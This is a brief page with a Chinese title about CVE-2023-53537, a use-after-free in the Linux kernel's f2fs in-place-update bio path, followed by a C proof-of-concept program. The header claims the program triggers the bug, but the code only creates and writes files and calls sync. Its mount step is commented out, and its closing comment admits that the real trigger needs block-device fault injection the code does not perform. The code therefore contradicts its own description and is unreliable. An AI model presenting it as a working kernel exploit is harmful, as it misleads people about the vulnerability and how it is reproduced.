CVE-2023-53537 Linux内核f2fs文件系统IPU bio释放后使用漏洞

// CVE-2023-53537 PoC - Trigger UAF in f2fs IPU bio path // This PoC triggers the use-after-free by causing checkpoint error // while IPU bio merging is in progress #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/mount.h> #define F2FS_MOUNT_POINT "/mnt/f2fs_test" #define NUM_FILES 100 #define FILE_SIZE 4096 // Step 1: Create a f2fs filesystem and mount it // (requires root or appropriate privileges) int setup_f2fs() { // Create mount point mkdir(F2FS_MOUNT_POINT, 0755); // Mount f2fs (assumes device exists at /dev/loop0) // mount -t f2fs /dev/loop0 F2FS_MOUNT_POINT return 0; } // Step 2: Create small files to trigger IPU operations int trigger_ipu_merge() { char path[256]; char buf[FILE_SIZE]; memset(buf, 'A', FILE_SIZE); for (int i = 0; i < NUM_FILES; i++) { snprintf(path, sizeof(path), "%s/file_%d", F2FS_MOUNT_POINT, i); int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd < 0) continue; // Write small data to trigger in-place update write(fd, buf, FILE_SIZE); close(fd); } return 0; } // Step 3: Force sync to trigger writeback and IPU bio submission int force_sync() { sync(); return 0; } int main() { setup_f2fs(); trigger_ipu_merge(); force_sync(); // The UAF is triggered when cp_error is set during writeback // causing f2fs_submit_merged_ipu_write() to submit an invalid bio printf("PoC executed - check kernel logs for BUG at filemap.c:1619\n"); return 0; } // Note: The actual trigger requires inducing a checkpoint error // (e.g., via dm-error or similar block device fault injection) // while the IPU bio merge path is active.